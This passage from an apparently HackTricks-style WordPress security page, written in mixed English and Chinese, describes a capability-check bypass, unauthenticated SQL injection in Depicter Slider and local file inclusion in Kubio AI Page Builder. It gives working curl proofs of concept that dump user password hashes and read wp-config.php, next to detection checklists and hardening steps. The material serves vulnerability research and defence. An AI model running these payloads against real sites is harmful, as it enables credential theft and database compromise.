  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Hardening

  • Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
  • Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
  • Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

未经认证的 SQLi 通过 depicter-* actions 中的 s (search) 参数 (Depicter Slider ≤ 3.6.1)

Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s']
  • 审查传入 $wpdb->get_results()/query() 的自定义查询,是否通过串联包含 s

Hardening

  • 始终使用 $wpdb->prepare() 或 wpdb placeholders;在服务器端拒绝意外的元字符
  • 为 s 添加严格的允许列表,并规范化为预期的字符集/长度

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

在模板参数中接受攻击者控制的路径而不进行规范化/限制,允许读取任意本地文件,并且如果将可包含的 PHP/日志文件拉入运行时,有时会导致代码执行。

  • 参数: __kubio-site-edit-iframe-classic-template
  • 缺陷: 未进行规范化/允许列表限制;允许遍历
  • 影响: 机密披露 (wp-config.php),在特定环境中可能导致 RCE(log poisoning, includable PHP)

PoC – 读取 wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

检测清单

  • 任何 handler 将请求路径串联到 include()/require()/read sinks 中且未使用 realpath() 进行限制
  • 查找 traversal 模式 (../) 导致超出预期 templates 目录

加固

  • 强制使用 allowlisted templates;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base))
  • 规范化输入;拒绝 traversal 序列和绝对路径;仅对文件名(非完整路径)使用 sanitize_file_name()

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks